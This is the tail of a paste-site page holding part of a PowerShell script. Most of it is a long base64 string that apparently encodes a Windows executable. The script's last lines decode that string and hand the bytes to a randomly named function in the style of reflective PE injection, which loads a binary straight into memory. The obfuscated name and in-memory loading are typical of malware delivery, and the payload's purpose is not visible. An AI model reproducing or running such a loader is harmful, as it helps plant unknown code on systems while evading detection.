AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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"
[Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32)
Invoke-RKKGLDWJOGONPXI -PEBytes $PEBytes

}
close fullscreen
Login or Register to edit or fork this paste. It's free.